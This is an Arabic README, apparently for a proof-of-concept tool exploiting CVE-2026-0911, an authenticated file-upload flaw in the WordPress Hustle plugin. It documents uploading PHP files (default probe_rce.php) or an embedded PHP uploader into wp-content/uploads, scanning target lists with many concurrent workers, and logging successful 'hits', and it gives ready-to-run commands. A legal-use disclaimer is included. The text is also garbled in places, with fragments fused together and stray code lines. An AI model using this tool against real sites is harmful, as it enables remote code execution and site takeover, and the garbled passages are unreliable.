
# PoC مُوثَّق لـ CVE-2026-0911: يختبر سلوك رفع الملفات الضعيف والملفات اليتيمة في نقطة استيراد الوحدات الخاصة بإضافة Hustle في ووردبريس، مع دعم فحص أهداف متعددة وتخصيص الحمولة.
أداة مساعدة للبحث / اختبار الاختراق تختبر سلوك التحميل عبر نقطة نهاية استيراد الوحدة التي تتطلب مصادقة، ضمن نطاق CVE-2026-0911 لإضافة WordPress Hustle (wordpress-popup, WPMU DEV).
يجب استخدام سكربت CVE-2026-0911.py الموجود في هذا المستودع أو مجموعة الملفات فقط على الأنظمة التي تمتلكها أو التي تختبرها بإذن كتابي.
في الإصدارات المتأثرة (Wordfence/NVD: 7.8.9.2 والإصدارات الأقدم)، يبقى التحقق من نوع الملف ضعيفًا لأن استدعاء wp_handle_upload() داخل action_import_module() يتم مع test_type => false؛ وحتى إذا فشل التحقق من JSON بعد الاستيراد، فقد لا يتم حذف الملف المرفوع (ملف "يتيم"). إذا كان الخادم ينفّذ PHP ضمن wp-content/uploads، فقد يكون هذا جزءًا من سلسلة تؤدي عمليًا إلى تنفيذ كود عن بُعد. في الإصدارات المصححة، يأتي قيد مع و المؤقت.
.jsontest_type => trueupload_mimesراجع سجل NVD ومراجع Wordfence للحصول على ملخص تقني مفصل.
from __future__ import annotations)مثال التثبيت:
pip install requests
يلزم هدف واحد على الأقل (-u أو -l) وجلسة WordPress صالحة (--cookie أو --cookie-file).
python CVE-2026-0911.py -u "https://ornek.com" --cookie "wordpress_logged_in_...=...; ..."
المساعدة:
python CVE-2026-0911.py --help
| المعامل | الوصف |
|---|---|
-u, --url | عنوان URL الجذر لهدف واحد (مثل https://site.com) |
-l, --list | ملف يحتوي على عنوان URL واحد لكل سطر (تعليق بـ #) |
--cookie | سلسلة ملفات تعريف الارتباط المنسوخة من المتصفح |
--cookie-file | ملف يحتوي على ملف تعريف الارتباط في سطر واحد |
--nonce | nonce ووردبريس يدوي لـ hustle_single_action (بدلاً من الجلب التلقائي) |
--admin-page | قيمة admin.php?page= التي سيُجلب منها nonce (الافتراضي: hustle_popup_listing) |
--module-id | moduleId في POST (الافتراضي 0: وحدة غير صالحة → تدفق الاستيراد) |
--module-type | popup, slidein, embedded, social_sharing |
--module-mode | مثل informational, optin |
--remote-name | اسم الملف المُرسل في multipart (الافتراضي: probe_rce.php) |
--payload-file | قراءة المحتوى المراد تحميله من ملف (يتجاوز --uploader والفحص الافتراضي) |
--uploader | استخدام نص برمجي مصغر مدمج لرفع PHP عبر نموذج |
--workers | عدد الخيوط المتزامنة في وضع القائمة (الافتراضي: 8) |
--timeout | مهلة الطلب بالثواني (الافتراضي: 25) |
--verify-ssl | تفعيل التحقق من TLS (الافتراضي: معطل) |
--debug | مخرجات تصحيح أخطاء إضافية |
--quiet | إيقاف سجلات النطاق/الخطوات؛ التركيز على الملخص |
admin-ajax.php، وعناوين URL المرشحة المحتملة. في حالة الأهداف المتعددة، قد تظهر الأسطر متداخلة لأنها تأتي من خيوط؛ يحتوي كل سطر على اسم نطاق الهدف.--quiet يتم كتم هذه التفاصيل.-o (إلحاق append)، وتُكتب على القرص مع flush / fsync إن أمكن. اسم الملف الافتراضي: cve-2026-0911-hits.txt (يُلخص المسار المطلق في دليل العمل).موقع واحد، مع التحقق من TLS، وتصحيح الأخطاء:
python CVE-2026-0911.py -u "https://lab.local" --cookie-file cookie.txt --verify-ssl --debug
فحص قائمة، 16 عاملًا، مخرجات مخصصة:
python CVE-2026-0911.py -l hedefler.txt --cookie "..." --workers 16 -o sonuclar.txt
نص uploader مدمج واسم ملف بعيد مخصص:
python CVE-2026-0911.py -u "https://lab.local" --cookie "..." --uploader --remote-name test.php
single_module_action_nonce داخل optinVars.moduleId=0، قد يُرجع الإضافة خطأً بسبب حد الوحدة قبل التحميل؛ في هذه الحالة لا يُكتب الملف.wp-content/uploads/YYYY/MM/؛ إذا أعاد WordPress تسمية الملف، فقد يختلف المسار الفعلي.--cookie عبر نطاقات مختلفة؛ في اختبار المواقع المتعددة، يلزم جلسة مناسبة لكل بيئة.0، وإلا يكون رمزًا غير صفري (قيمة إرجاع main داخل السكربت).Ctrl+C: 130.هذه الأداة مخصصة فقط للاستخدام في اختبار الأمان القانوني والتعليم والأغراض الدفاعية. الاستخدام على أنظمة غير مصرح بها يخالف القانون وقد يؤدي إلى عقوبات شديدة. لا يمكن تحميل المؤلفين والمساهمين مسؤولية إساءة الاستخدام.
-o, --output | الملف الذي تُضاف إليه أسطر "الإصابات" الناجحة |